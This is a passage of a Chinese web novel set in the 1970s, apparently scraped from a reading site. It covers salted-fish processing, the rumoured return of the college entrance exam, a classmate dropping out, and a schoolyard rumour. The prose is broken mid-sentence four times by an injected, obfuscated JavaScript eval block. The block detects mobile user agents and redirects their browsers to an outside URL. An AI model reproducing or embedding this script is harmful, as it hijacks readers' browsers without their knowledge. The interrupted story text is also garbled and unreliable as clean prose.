三人骑上车,急匆匆去副食店买了条咸鱼,便回了解放大队。 宁富田从仓库里取出几个竹筐,上队里转了一圈,从刚打完鱼回来的人家里赊了几筐鱼,带人抬到了队里的食堂。 徐夏和宁文在食堂里则埋头干得热火朝天。 只见炉火熊熊,灶台上的铁锅被火焰紧紧包裹,不停地发出“滋滋”的声响,大大小小的气泡不断地从锅底冒出,铁锅里的水“咕噜咕噜”地翻腾。 听见宁富田带人进来的动静,宁文站起身,从灶台上拿起一杆秤,勾起一筐鱼称重:“4斤1两。” 蹲在地上生火的徐夏探出头说:“那就往水里再加大约4斤盐。” “才四斤鱼就加四斤盐这么多,能行吗?”宁富田问。 过去解放大队腌制咸鱼时,大约每百斤鱼撒三十盐,相当于四斤鱼才放不到一斤半的盐。 徐夏指着灶台上足足装了百斤重水的铁锅解释道:“看着盐多,实际加到这水里就没多少了。” 宁富田半信半疑地说:“行吧,先让你们试试,反正还有好几筐呢。” 宁文将盐洒入锅里,拿出铲子搅和了两下,雪白的盐粒就消失在了水里。 宁富田端起称过重的鱼问:“直接倒进去吗?” “不!不!让我来。”徐夏连忙站起来,拿出两把铁钩,分别从两边挂住筐沿,端起竹筐小心翼翼地按进沸水里。 刚才还翻涌的滚水立刻就沉寂了。 徐夏小心翼翼地握着铁钩,按照逆时针方向将竹筐在水里慢慢转圈。 随着再次沸腾,水表面飘起来了一层白色浮沫。 徐夏朝锅边的铲子努努嘴:“宁文,快拿铲子把浮沫打出来。” 待宁文从锅里将浮沫都打出来后,徐夏连忙将竹筐从锅里抬起来,将水在锅边沥干。 大约过了一分钟,确认再无一滴水珠从竹筐里漏出来后,徐夏端着竹筐便朝队部院子里走。 宁文早就在院子里铺了一层干净的塑料布。 徐夏将竹筐里的鱼倾倒在塑料布上,用手轻轻地将堆叠的鱼体拨开,单层晾晒。 宁富田见她二人差不多处理完毕,迫不及待地拾起一条处理后的鱼,掰了一块鱼肉,扔进嘴里,砸吧了几下,露出笑容说:“味道不咸不淡的,外形也不比副食店买的那条差。” 没想到这第一次尝试就成功了。 众人这才放下心来,宁富田带来的人依样画葫芦将剩下的几筐鱼都处理完,倒在院坝里晾晒起来。 “支书大爷,我俩就先回学校了。”徐夏和宁文见一切都有条不紊地发展,便想要告辞。 宁富田问:“这鱼就这么晒着吗?” 徐夏:“晒到六七成干的时候,记得把它翻个面,九成干就行了。” 宁富田点点头:“行,那你们走吧。” 徐夏两人走后,鱼晒好了,宁富田带人先装了一筐拉去了收购站。 孙站长见解放大队送来的干货不仅味道鲜美、鱼肉完整,色泽也很好,很痛快地付了钱,定下了每周收一次干货的约定。 宁富田收到钱后,把心一横,回到解放大队拿出队里的积蓄,带人去砖厂买拉来几车红砖,在队部食堂旁边重新垒了一座砖瓦房。 除去靠着食堂的那面,剩下的三面墙上都挖出来几道门,只有光秃秃的门框,房里整整齐齐砌了几个灶台,台上放着几口大锅。 渔民们都统一将小鱼小虾都拉到这里加工成干货,至此,解放大队的第一间水产加工作坊就成型了。 ****** 随着天气渐渐热起来,藻类和微生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13245868|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物随着海水从海塘缺口处流入养殖场,为牡蛎的生长提供了天然的饵料,养殖场终于迎来了第一次丰收。 这天下午,刚好是四班的学农时间。 学生们撑着简陋的竹筏,背着蚝筐,左手蚝铲,右手蚝钩,一点点从花岗岩上撬下来牡蛎。 在阳光的照射下,蚝肉仿佛牛奶一般的洁白透亮。 而在站立岸上的宁富田眼里,这肥美的牡蛎活脱脱就是一个个金元宝,喜得他眉开眼笑。 徐夏和宁文两人刚把背上的牡蛎倾倒到岸上的大筐里,就看见宁三水宁手里抓着条鱼,满脸焦虑地跑过来:“支书,不好了!” 宁富田:“啥事?” 宁三水将手里的鱼凑到宁富田鼻子下面:“你闻。” 宁富田瞬间被臭得眼睛眉毛都皱到了一起:“三水你从哪里弄来这么个臭鱼烂虾?” 宁三水没好气地说:“还用从哪里弄?这咱们‘三八号’上这次拉回来的,这次出海打得鱼,全坏了!” “啊!怎么会这样?”宁富田瞪大了眼睛,手里拿着的牡蛎也掉在了地方。 宁三水没好气地说:“还不是怪你,之前徐夏就说船上要加装制冰设备吧,你非不肯出钱,现在天气这么热,不坏才怪呢,这下可好,这次不但赚不到钱,还得倒赔机油钱进去。” 竖起耳朵偷听的徐夏和宁文对视一眼,想起之前两人和宁富田说过的话。 天气还冷的时候,徐夏就同宁富田建议,要尽早在“三八号”等船上加装制冰制冷的机械设备,这样鱼捕捞起来,能迅速得到保鲜,质量也有保障。 可惜宁富田心疼钱,想着机帆船几次出海都没事,最多就是有那么一网放在最下面的鱼有些坏了,便没放在心上。 而且收购站收鱼的时候,带冰的鲜货和不带冰的都是一个价钱,还要额外刨除掉冰的重量,那赚得钱就更少了。 宁富田思来想去,觉得不划算。 徐夏和宁文把嘴巴说得口干舌燥,宁富田就是不点头,只好作罢。 天气凉的时候还好,到了这炎热的夏天,果然就出事了 机帆船在大海里刚捞上来的都是新鲜又活蹦乱跳地鱼虾,但是船上既没有冰块又没有冷库,只能倒在船舱里。 没几个小时就开始发臭,在回岸的途中有一半的渔获物都腐烂变质,到了岸上,连最上层的鱼虾都散发着一股子腐臭味。 宁富田只觉得头晕目眩,想到那一船一船的海产品都变了质,只觉得心头被人狠狠捅了一刀,就是眼前这肥美的牡蛎也无法弥补。 “安!立刻就安!”宁富田心痛得无以复加。 “孩子要饿死了你知道喂奶了。”宁三水小声嘀咕起来。 宁富田:“你说啥?大点声。” 宁三水掩饰道:“我说这批腐烂变质的鱼虾怎么处理,收购站不受,咱们自己也不能往肚子里吃吧,拖去垃圾站,别人说不定还要讹一笔处理费呢。” 宁富田头一次觉得宁三水说话这么不中听。 67.第二个徐夏 “这还不简单,”徐夏站起身,“一半拿来做肥料,另一半做成鱼粉,当饲料喂给家里的畜生吃不就行了。” 宁富田:“你又不是不清楚,鱼粉生产一向是亏本的,咱们队可没买那自动制鱼粉的机器。” 徐夏:“用不上机器,把这些臭鱼烂虾分下去,水煮后晒干,再磨成粉就行了,不然您说还有什么办法?” 宁富田见状只好点头同意,进了广播室通知村民依次去码头上将腐败的鱼虾领回去。 “滴滴滴~”广播室外面传来一阵汽车喇叭声。 宁富田探出头一看,是收购站的孙站长开着小货车上门收牡蛎了。 待货车在养殖池旁边停稳后,收购站的小王和小李从车上跳下来,将一筐一筐的牡蛎抬进车斗里。 宁富田从队部刚走过来,刚好就看见他们要把最后一筐牡蛎抬上去。 “孙站长,等等,”宁富田噔噔噔跑过来,出言阻止道,“这最后一筐是留给阳高学生的,他们忙前忙后,肚子该饿了。” 小王和小李只好将这最后一筐牡蛎放回了地上。 孙站长从耳朵上摸下来一根烟点燃,放到嘴里狠狠地吸了一口说:“宁支书,刚才路过码头,你们队这次出海捞回来的东西坏了啊。” “是,所以我们这不就准备花钱在船上装制冰机嘛。”宁富田不好意思地摸摸头。 “我正要和你说这个事呢,最近天气热了,好几个队送来的鱼虾都臭了,不光拿不到钱,还得倒贴机油钱,”孙站长缓缓吐出一口烟圈,继续说道,“赵书记说,愿意安装制冰机的队,公社给补贴一半的钱,收购价也得比普通的高三成。” “那敢情好!”宁富田听到公社给补贴,心里顿时乐开了花。 孙站长:“不过这收购价涨了,要求也得相应提高,光用冰块保鲜还不够,要想卖得上价,你们最好一打捞上来就立刻处理,把血啊内脏啊都去除掉。” 宁富田只觉得头都大了,忙提高音量大喊起来:“三水!快过来!” 好在宁三水并没有走远,三两步就走了过来。 宁富田将孙站长的话又复述了一遍。 “这我可不会,”宁三水不好意思地笑起来,“我就会开船。” 孙站长:“那就只能按原来的价格收了。” 宁富田眼看到嘴的鸭子就要飞了,气得快晕过去了。 “不就是处理渔获物嘛,我会!”在一旁收工具的徐夏插嘴道。 “这你也会?”宁富田狐疑地问。 徐夏:“不信?我给你们演示一遍?” 不等宁富田答话,孙站长就一口答应:“行,正好今天的工作都做得差不多了,我就留在这里看看。小王、小李,你们把这些牡蛎运回收购站去,记得放进冷库。” 小王和小李上了货车,刚要发动,孙站长突然想起来什么似的,拦在车前说:“等等,从车斗里抬一筐鱼,再拿一个塑料箱下来。” 等准备工作做完,众人便将东西都抬到了食堂里。 徐夏从竹筐里轻轻捧出一条鱼,一边放在水龙头下面细细冲洗一边说:“这洗鱼的时间要控制好,一定不能破坏鱼体表面的黏膜。” 待确认鱼体表面的泥沙都冲刷干净后,徐夏左手捧着鱼,右手拿出一根长针,眼疾手快地插了进去,狠狠捣了两下说:“从靠近鱼肚子这边的尾部向上量3cm左右,刺一个洞,就可以将血放出来了,一定要刺断鱼脊骨,才能放得彻底。” 只见那直径约1cm的小孔里缓缓流淌出一股紫红色的血。 待血水流净后,徐夏又将鱼翻了个面,腹部朝上,指着靠近尾部的一个小孔说:“这里是鱼的泄殖孔,相当于我们的□□。” 只见她右手握剪,不加思索就插进泄殖孔里,再朝着鳃部斜剪上去,在鱼身上开出一条5cm长的刀口,伸出左手慢慢将内脏掏出,又将鱼放到水龙头下仔仔细细冲洗起来。 “你处理起鱼来倒是一把好手。”宁富田见她动作十分利落,在一旁笑着点头。 “不是吧,这样就完了?”孙站长额头微皱。 “别急啊,孙站长。”只见宁文端着个搪瓷盆从院外走了进来,哐当一声放到徐夏脚跟前,又顺手从怀里掏出根温度计插进盆里。 只见那搪瓷盆里正正好装了一半海水。 徐夏见鱼身上的污渍已经洗干净,朝脚边的盆努努嘴问:“现在几度?” 宁文从盆里抽出温度计,举过头顶仔细辨认刻度。 宁富田很有眼色地从她正前方挪开,屋外的阳光正好投射了进来。 宁文:“5度。” 徐夏点点头,便将手里的鱼按进了盆里。 孙站长:“这一步是干什么?” 徐夏解释道:“迅速给鱼体降温,保持肉质鲜美。麻烦孙站长给记个时,2分钟后叫我。” 等2分钟的时间一到,徐夏伸出两只手将冷浸后的鱼托出,稍微沥干水分后,放进了孙站长带来的泡沫保温箱里。 依样画葫芦,又处理了十几条鱼放了进去。 待泡沫箱装至一半后,徐夏一边将宁文洗干净的石块放了进去一边解释:“队里现在没有冰块,我就用这些石头模拟吧。经过冷浸后的鱼虾最多只能在泡沫箱装六成,剩下的空间都用来放冰块。” “鱼体和冰块之间要先蒙上一层塑料布,冰面要低于泡沫箱一节食指的高度,最后再封盖。” 孙站长:“为什么不直接放满冰块?” “对啊,你留了空隙,冰块反而会更容易融化。”一直默不作声在旁边认真做笔记的宁三水也发问了。 徐夏一边合上泡沫盖一边说:“在渔船上,这些泡沫箱都会堆积存放,如果冰块装的过满,容易直接压坏鱼体。” 孙站长立在一旁,见徐夏一气呵成完成了这套动作,终于露出个满意的笑容:“不错,就是这样,徐夏你倒是把书本里的知识学的很到位。” 见孙站长误以为她是在书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266821|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里学到的方法,徐夏更乐得不解释了。 “三水,记下来了吗?”宁富田拿胳膊戳了宁三水一下。 宁三水这才回过神,举起自己手里的本子嘿嘿笑着说:“脑子记不住,它记住了。” 宁富田一看那纸上的鬼画符就乐了。 这边事情处理完,徐夏和宁文同许老师请了个假,准备先回趟家,洗个澡,毕竟一身的鱼腥味。 不想离宁家还有100米,就看见门口停着辆熟悉的摩托车,车上正坐着卫红。 徐夏和宁文咚咚咚跑上前,惊喜地问:“卫姐,你怎么今天想着来了?” “进去再说。”卫红正无聊地掰手指,看见两人回来了,麻利地翻身下车,双手扶着车把往院子里走。 将车停放在院子里后,三人便进了堂屋。 宁文正打算去灶屋给她拿喝水的盅,卫红一把将她拽了回来,按到长凳上坐下,又神神秘秘地插上堂屋的门,把窗户都关上,压低声音说:“户籍科最近忙不过来,把我抽调过去帮忙,你们猜,我发现了什么?” 徐夏和宁文两人都觉得摸不着头脑,摇了摇头,异口同声地回答:“猜不到。” 卫红:“陈丽珠这个名字,你们还记得吗?” 宁文点点头:“记得,我们原来的同学,还是一个宿舍的室友。” 卫红:“那就对了,我在户籍科的档案里看见,她现在改了名字,叫宁文!” “这事我们去年就知道了,”徐夏点点头,“她表姐亲口告诉我们的,她改和她妈姓宁了。” 宁文傻笑起来:“她可能是觉得我名字好听吧。” “你俩真是不长心眼,”卫红气得戳了宁文额头一下,“如果单单只是她改了名字也就罢了,我发现她家户口本上,有个迁出去的人,叫陈丽梅。” 徐夏:“丽珠、丽梅,是她的亲姐妹吧,这有什么奇怪的,兴许是结婚迁户口了呢。” 卫红凑近两人说:“我当时觉得奇怪,就特意问了户籍科的同事,你们猜怎么着?陈家说这陈丽梅不是他们亲生的,是从乡里面抱养的,现在这家人把她要回去了。 我又去翻了这家人的资料,一查吓一跳,陈丽梅的户口在乡里一户姓徐的人家里,改了名字叫徐夏!” 宁文:“不是,她家有毛病吧,怎么可着我俩薅啊。” 徐夏却觉得事情没那么简单,翻过年就是1977年了,要恢复高考了,可是按理说,陈丽珠一家是不会知道这件事的。 可万一她们真是冲着自己和宁文来的,那可就要给他们个教训了。 “有件事我思来想去该告诉你们,”卫红语气严肃,“我家有亲戚在平京,据说上面的口风松了,在研究恢复高考的事,这陈家会不会也从哪里得了消息,想在高考上做文章。” 宁文眉毛一挑:“卫姐,你是说冒名顶替上大学?” 不等卫红答话,徐夏插嘴道:“不过陈丽珠自己成绩就挺好,犯不上冒充我们吧?” 68.退学 “我这也就是小道消息,你们心里有数就行,我今天来,就是想提醒你们,要提防着陈丽珠一家,说不准她们真的会使坏。”卫红摆摆手。 徐夏:“卫姐,这会恢复高考的事能告诉其它人吗?前儿我们班有同学说,家里给她找了工作,要准备辍学了,要是她知道这个消息,肯定得重新改变想法了。” 何秀芳前几天说,纺织厂最近在面向内部招工,考到60分就行。 虽然她很想把高中读完,但是想到现在没有高考,就算高中毕业,大多数人最好的去处也不过就是进厂做工人。 好的工作可不等人,一年后毕业,纺织厂可不一定还有这么合适的机会,何秀芳便打算尽快办理退学。 徐夏只隐约记得是77年恢复高考,但具体是哪个月,她也不清楚,故而也不好把话说得太死,只是劝何秀芳好歹把这学期读完。 何秀芳是个直肠子,哪里听得懂徐夏的言下之意,还是坚持要辍学。 现在卫红给了这消息,她倒是能再多劝劝何秀芳了。 “原则上最好不要,不过这事我家能知道,其他有门路的估计也能知道,你们说的时候,用词模糊一点,”卫红喝了一口水,一边打开门往外走一边说,“现在辍学了也不要紧,只是有一条,别放弃学习,到时候就算真的恢复高考了也能作为社会考生参加。” “行,我们一定不说这消息是你讲的。”徐夏和宁文异口同声地答道。 卫红见事情说完了,麻溜地骑上摩托车,同两人挥手说再见。 徐夏和宁文则站在院门口,一直目送着一人一车消失在视野里才关上了院门。 徐夏一边关门一边说:“要不咱俩今晚还是赶回学校吧,早点和秀芳透透气,省得夜长梦多,再出什么岔子。” 原本两人打算在家里住一晚,明天起个大早赶回学校上课。 宁文思索了片刻说:“也是,不然我心里也不安生。” 两人一拍即合,着急忙慌接了两缸凉水,在灶房里互相浇了两下就当洗了澡。 宁文动作快,等徐夏换好干净的衣衫从里屋出来,她已经在院子里把两人脱下来的衣服洗了一遍,正拧干了水,往晾衣绳上挂呢。 宁文见徐夏从里屋出来,忙加快了手里的动作。 “走吧,现在回去还赶得及上晚自习,”宁文从晾衣绳上拽下来一张深灰色的抹布,用力朝徐夏站着的方向一抛说,“接好了。” 徐夏刚伸长了手臂去接,谁知那张抹布啪的一声,正正好就盖在了她的脸上。 “呸、呸、呸,”徐夏一把将抹布从脸上扯下来,将不小心吃进嘴里的布团吐了出来。 “哈哈哈!”宁文看着她这一套动作下来,直把腰都笑弯了。 “好你个宁文,故意的是吧!”气得徐夏追着宁文满院子打。 几圈下来,宁文见身后的徐夏越来越近,连连求饶:“好妹妹,饶了我吧,我哪里知道你站得那么巧。” 徐夏也跑累了,将手里的抹布重新扔给宁文:“你擦自行车去。” 宁文这回倒是没耍花招,接过抹布,蹲在地上,仔仔细细地擦拭起了自行车。 徐夏也默默从灶屋里拿条干净的抹布出来,同宁文并排蹲下,学着她的样子干了起来。 两人不光把车架擦得干干净净,连车座下面的铭牌都没放过。 在夕阳的照射下,“长江牌”三个字逐渐从污渍后露出它的真实相貌,闪闪发光。 宁文将两人用过的抹布重新清洗后,原样挂上了晾衣绳。 徐夏则将焕然一新的自行车推到院子外说:“上来吧。” “等等,我锁个门。”宁文右手从怀里拿出一把钥匙,左手将院门吱呀一声合上。 正要将钥匙插进锁孔,两人身后却传来了熟悉的声音:“你俩不在家过夜啦?” 回头一看,是文昕和宁海携手回来了。 只见她二人双手抱着一垒作业本,额头上还有细密的汗珠,显然是刚给扫盲班上完课回来。 谁知刚走到家门口,就看见徐夏和宁文推着车准备离开家。 徐夏和宁文异口同声地说:“不了,学校临时有事,我俩得赶回去。” 说完,宁文快速跳上了车后座,两人很快将文昕同宁海甩在了身后。 文昕看着两人仿佛一阵风似的吹走了,担心地说:“这俩洗完澡头发都没擦干,也不知道会不会着凉。” 徐夏和宁文两人贪凉,用冷水洗完澡,头发还是湿漉漉的,但这样一路骑下来,竟然就被晚风吹干了。 到阳高已经快上晚自习了,两人先回了趟宿舍,里面却空无一人。 等到两人急匆匆赶回教室,却发现何秀芳也不在座位上。 何秀芳今天身体不舒服,连学农都请了假没去,看来多半是回家了。 “铃铃铃~”晚自习铃声响了,徐夏和宁文赶紧回到了座位上。 不知道为何,许老师和赵晓莹也都一直没出现,两人只好拿出课本复习了起来。 过了一会儿,教室里突然冲进来一个人。 “你俩回来了就好。”赵晓莹气喘吁吁地跑进来,手扶着腰说道。 宁文抬起头,疑惑地问:“你去哪儿了?怎么累成这样?” “我刚陪秀芳回宿舍打包了她的行李,她家里人来给她办退学手续了。”赵晓莹的话仿佛平地一声雷在教室里炸开了。 “啊?”徐夏和宁文都惊呼出了声。 周围的同学被她们的动静吸引,纷纷放下手中的笔看了过来。 “一两句话说不清楚,你俩还想见她最后一面的话,就快去许老师办公室吧,去晚了她就该走了。”赵晓莹催促道。 徐夏和宁文赶紧放下手中的课本,慌慌忙忙往外跑。 到了许老师办公室,果然看见何秀芳正站在外面,低头掰着手指,脸上看不清楚是笑还是哭。 透过窗户,看见办公室里面有个陌生的中年女子,正板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281097|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着脸同许老师说着什么话,应该就是何秀芳的家人。 “秀芳,你别急着退学!”宁文急得破口而出。 乍一听见宁文的声音,何秀芳抬起头,满脸诧异:“怎么了?” 这两个小冤家,声音这么大,真不怕引起办公室里面老师们的注意。 徐夏连忙一只手拽着宁文,另一只手牵着何秀芳,将两人扯到楼梯间里。 何秀芳满脸疑惑:“你们这是卖什么关子?” 宁文伸出根指头,指指天上,小声说:“我们听别人说,上面在研究恢复高考的事了,你现在走了,岂不是前功尽弃了?” 何秀芳先是一喜,转眼像是想到什么似的,露出个苦笑:“可惜,晚了,我现在就是想继续读书也不能够了。” 宁文:“为啥?” 何秀芳支支吾吾解释起来:“其实……其实我今天下午请假没去学农,并不全是因为身体不舒服,而是去参加了纺织厂的内部招工考试。” 宁文:“结果怎么样?考上了吗?” 何秀芳点点头:“考上了,我考了93分。” 纺织厂这招工考试,其实就是走个过场,现在有几个人在学校正经读书啊,故而题目出的简单,录取线也就才60分。 参加考试的人里面,就属何秀芳成绩最好,竟然超了录取线足足33分,把纺织厂人事科喜得自己姓什么都快忘了。 “没关系,就是考上了,你也可以不去啊!把机会让给其他人。”宁文一拍何秀芳的肩膀,大大咧咧地说。 “你不知道,这考试名额,不是谁都能有的,”何秀芳脸色惨白,泪水充斥了眼眶,“我爸妈只是车间的普通工人,这机会原本轮不到我头上。” “上周我爸车间的工友家里有事,便同我爸换了班,我爸连轴转了36个小时,身体吃不消,精神也不好,一个不注意,没看到收卷机的辊轴还在转动,就进去切割布料。” “结果下半身就卷进了辊轴里面,幸好同一条生产线的同事叔叔反应快,把机器按了暂停,又紧急把我爸送往县医院,这才把我爸从鬼门关抢救了回来,可惜他下半辈子都要在床上躺着了。” 宁文和徐夏听到这里,都吃惊地捂住了嘴,不知道说什么是好。 何秀芳抬起手轻轻擦了擦眼泪,继续说道:“车间主任说我爸违反岗位操作规程,应该承担厂里面的损失,还是采购科的孟主任见我们孤儿寡母可怜,同领导据理力争,不仅让厂里承担了治疗费用,又把这参加招工考试的名额给我要到了。” “我爸倒下了,我妈既没有文化也没有工作,只有我能进厂挑起这个家了。” 见宁文和徐夏一脸担忧,何秀芳将眼泪擦干,笑起来安慰道:“没关系,不是谁都有那个运气能继续读书的,现在提倡‘劳动最光荣’,当工人多好啊。上回我在县里遇到陈丽珠,她现在也没读书了,在找了份工作,当临时工,也过得挺好。” 陈丽珠也不读书了?还在当临时工? 69.造谣 徐夏的眉头不可察觉地皱起来,这可太奇怪了。 陈丽珠一向心气高,怎么会愿意辍学的。 一来陈丽珠成绩挺好的,家里又不像何秀芳似的有负担,听说她父母都还在公社当干部。 二来临时工和正式工可谓是天差地别,不光工资差一大截,就是其他的福利也缩水很多,如果陈丽珠能把高中读完,虽然进不了国营厂这种好地方,但是至少也能在公社找个有编制的工作吧。 只有何秀芳天真,心里没那么多弯弯绕绕,才会轻易被她哄了去。 徐夏正想得出神,只听见一旁的宁文问:“她家里出什么事了吗?” “没有啊,她家里挺好的,听说她爸还升职去县里工作了。”何秀芳摇摇头。 这下徐夏心里的疑问更深了。 宁文接着问:“那你知道她去哪里工作了吗?” “这她倒是没同我讲,不过我看她现在精神气也不一样了,对了,她还为之前作弊冤枉徐夏的事同我道歉呢。” 这可真是奇怪了,陈丽珠这种人会真心悔过? 去年她同宁文在书店遇到陈丽珠,她可是一点歉意都没有。 再者说,就算真要道歉,也该是来同她徐夏道歉,何必绕了一圈和何秀芳道歉呢? 也就是何秀芳直心眼儿,会轻易原谅她。 想到这里,徐夏忍不住看向宁文,果然也从她眼里看到了不可置信的眼神。 “她现在是不是不姓陈了?”宁文插嘴道。 “不姓陈?那她姓什么?”何秀芳觉得有些莫名其妙。 看来陈丽珠是打算把改名字这件事瞒着过去认识的所有人了。 见宁文还想张嘴继续问,徐夏闭上眼微微摇了摇头,示意她别再说了。 “宁文乱说呢,你别听她的,”徐夏一边用手偷偷捏宁文一边掩饰道,“陈丽珠不姓陈还能姓什么。” “就是,”幸亏何秀芳心大,半点没把这个问题放在心上,“对了,你们以后能不能偶尔来纺织厂看看我,和我说说上课的进度,我想利用下班的时间继续学习。” “没问题!”徐夏同宁文异口同声地答应下来。 三人正说得热火朝天,办公室的门吱呀一声开了。 许老师同何秀芳的妈一起走了出来。 只见那中年女子一只手提着大包袱,另一只手拿着张纸,朝着楼梯间的三人扬声道:“秀芳,走吧,我们回家去。” “哎!”何秀芳转身对徐夏和宁文说,“孟珏知道我家在哪栋,你们问他就行了。” 说完,何秀芳三两步跑过去,接过中年女子手里的包裹,同许老师鞠了一躬,便下楼走进了夜色里。 徐夏同宁文见状,也想悄悄跟着下楼,毕竟上晚自习偷跑出来,也是许老师不喜欢的行为之一。 “站住!”未料许老师出言叫住了两人。 徐夏和宁文只好僵硬地转过身,皮笑肉不笑地叫了一声:“许老师。” “你们见了我怎么和老鼠见到猫似的?以为我要惩罚你们?”许老师苦笑着摇头,“我哪有这么不讲情理,你们毕竟同学一场,想见她最后一面也是情有可原。” “谢谢许老师。”徐夏和宁文借坡下驴,道了个谢就急匆匆跑回了教室。 上晚自习两人偷偷同赵晓莹透露了可能会恢复高考的消息,便开始认真学习。 “铃铃铃~”随着下课铃声响起,教室里的学生陆陆续续走了出去。 徐夏正在座位上往书包里装课本,突然一只手伸了过来,按住了她的书。 徐夏抬头一看,是同她隔了一个过道的刘大志。 “徐夏,你男朋友来找你了!”刘大志朝窗外努努嘴,嬉皮笑脸地说。 “你有病吧,徐夏才多大,哪来的男朋友,狗嘴里吐不出象牙!”宁文正听见这话不禁怒了。 刘大志咧开嘴笑得像个无赖,抱着膀子说:“怎么着,皇帝不急太监……” 话还没说完,“啪!”一个沙包清脆利落地打在了刘大志头上,在他那张大脸上留下了一个鲜红的圆形印记。 徐夏循声望去,只见孟珏正站在窗外,双手来回拍灰,显然这沙包是他扔出来的。 想必这刘大志说的所谓的男朋友,指得就是他。 “哟,这么急不可耐给你女朋友撑腰啊!”刘大志一边揉着自己的脸一边讥讽道。 教室里只有稀稀拉拉几个同学在收拾东西,突然发生了这场闹剧,都停下手中的动作围观了起来。 许老师疾言厉色道:“你们几个给我过来!其他人回宿舍去。”已经离开教室的许老师去而复返,正好目睹了这场风波。 徐夏心里咯噔跳了一声,坏了,许老师最反感学生心思不在学习上。 听赵晓莹讲,许老师带的上一届班里面有两个同学偷偷谈恋爱,两人在学校里连句话都不说,只是周末交往,原本没人知道这件事。 谁知道有一天放学,两人相约一起回家,走在路上动作亲昵了些,好巧不巧就被许老师撞见了。 许老师直接一个电话让家长将他们领回去反省,期间校长亲自来做工作都没用,直到两人都写检讨说不再来往了,许老师才松口同意两人复学。 刘大志虽然是信口胡诌,但孟珏确实偶尔会来找自己,今天怕是跳进黄河也洗不清了。 “窗户外边那个,你也进来!”许老师朝着教室外面的孟珏说。 待四人都围到讲台前,许老师双手叉腰,扬了下下巴:“说说吧,怎么回事。” “许老师,徐夏同外班的孟珏在谈恋爱!”刘大志恶人先告状,指着自己的脸说,“被我戳穿了狗急跳墙,还报复我!” 徐夏这下真是被气了个倒仰。 这还没完,刘大志恶狠狠地瞪着宁文说:“还有她!她就是徐夏的狗腿子!” 许老师闻言啪地一声将手里的教案扔到讲台上:“狗腿子!语文课本读到狗肚子里面了?就是这么称呼自己同学的?” 徐夏此时真想给许老师跪下了,连这种时候都不忘记教育学生要注意文明用语。 “你说人家两个在谈恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们仨撒谎也不打草稿,待会儿许老师打完电话回来,等着挨处分吧。”刘大志斜倚着讲台,奚落道。 宁文嘴上一步不让:“我劝你心思把用在正途上,一会儿谁挨处分可不一定呢。” “你……”刘大志一下子被噎住了,扬起胳膊就要打人。 孟珏眼疾手快将刘大志的胳膊钳制住,警告道:“殴打同学可是要被退学的。” 刘大志揉揉自己酸疼的手腕说:“谁让你们过去老是针对陈丽珠,还把她排挤出了学校。” 哟,感情这刘大志还是陈丽珠的护花使者啊。 忍了这么久才发作,够可以的,就是功课做的不太好,昏招频出。 几人正吵得热闹,许老师噔噔噔走了进来:“你们仨可以走了,刘大志,你留一下。” 看来这一通电话下来,就还了徐夏和孟珏清白,三人赶紧背上书包出了教室。 “哎,等等!”宁文拦住两人,“你们就不想知道,许老师和他说什么?” 徐夏点头如捣蒜,拉着两人就蹲在了窗户下面,竖起耳朵仔细听教室里的对话。 幸好夜色沉重,走廊上灯光也昏暗,看不见孟珏的脸涨得通红。 “刘大志,以后你再像今天这样管不住自己的嘴给同学造谣,也别读书了,回家反省吧。”许老师冷冷说道。 刘大志委屈地说:“许晓丽,你可是我表姨,怎么能偏心别人呢。” 70.知青 乖乖,许老师竟然和刘大志是亲戚? 徐夏惊得把弯着的腰都伸直了,头一抬直接嘭的一声撞上了孟珏的鼻梁。 “哎哟,”徐夏一边吃痛地捂住脑袋,一边将孟珏的头轻轻往下按,“你个头高,往下趴趴别被许老师看见了。” “你头没事吧?”孟珏担心地问,即使走廊里漆黑一片,也能看到他目光灼灼,甚是紧张。 “你俩小声点!”宁文真要被这两个冤家给气死了,快速钻到两人中间,两只胳膊一左一右捂住了他们的嘴。 教室里的对话还在继续。 “我偏心!刘大志,你说这话亏不亏心啊,”许老师气急,啪地拍了一下桌子,冷哼道,“我还没同你算账呢,去年陈丽珠没退学的时候,有一回我看见你俩在池塘边动作亲昵,那是在干嘛?后面陈丽珠退学,我一忙就把这事情忘了,倒是你今天提醒了我。” 妈呀,竟然还有这样的惊天大八卦,幸亏宁文提前捂住了徐夏的嘴,不然她非得叫出声了。 “许老师……表姨……我……”这下刘大志可是支支吾吾说不出一句完整话了。 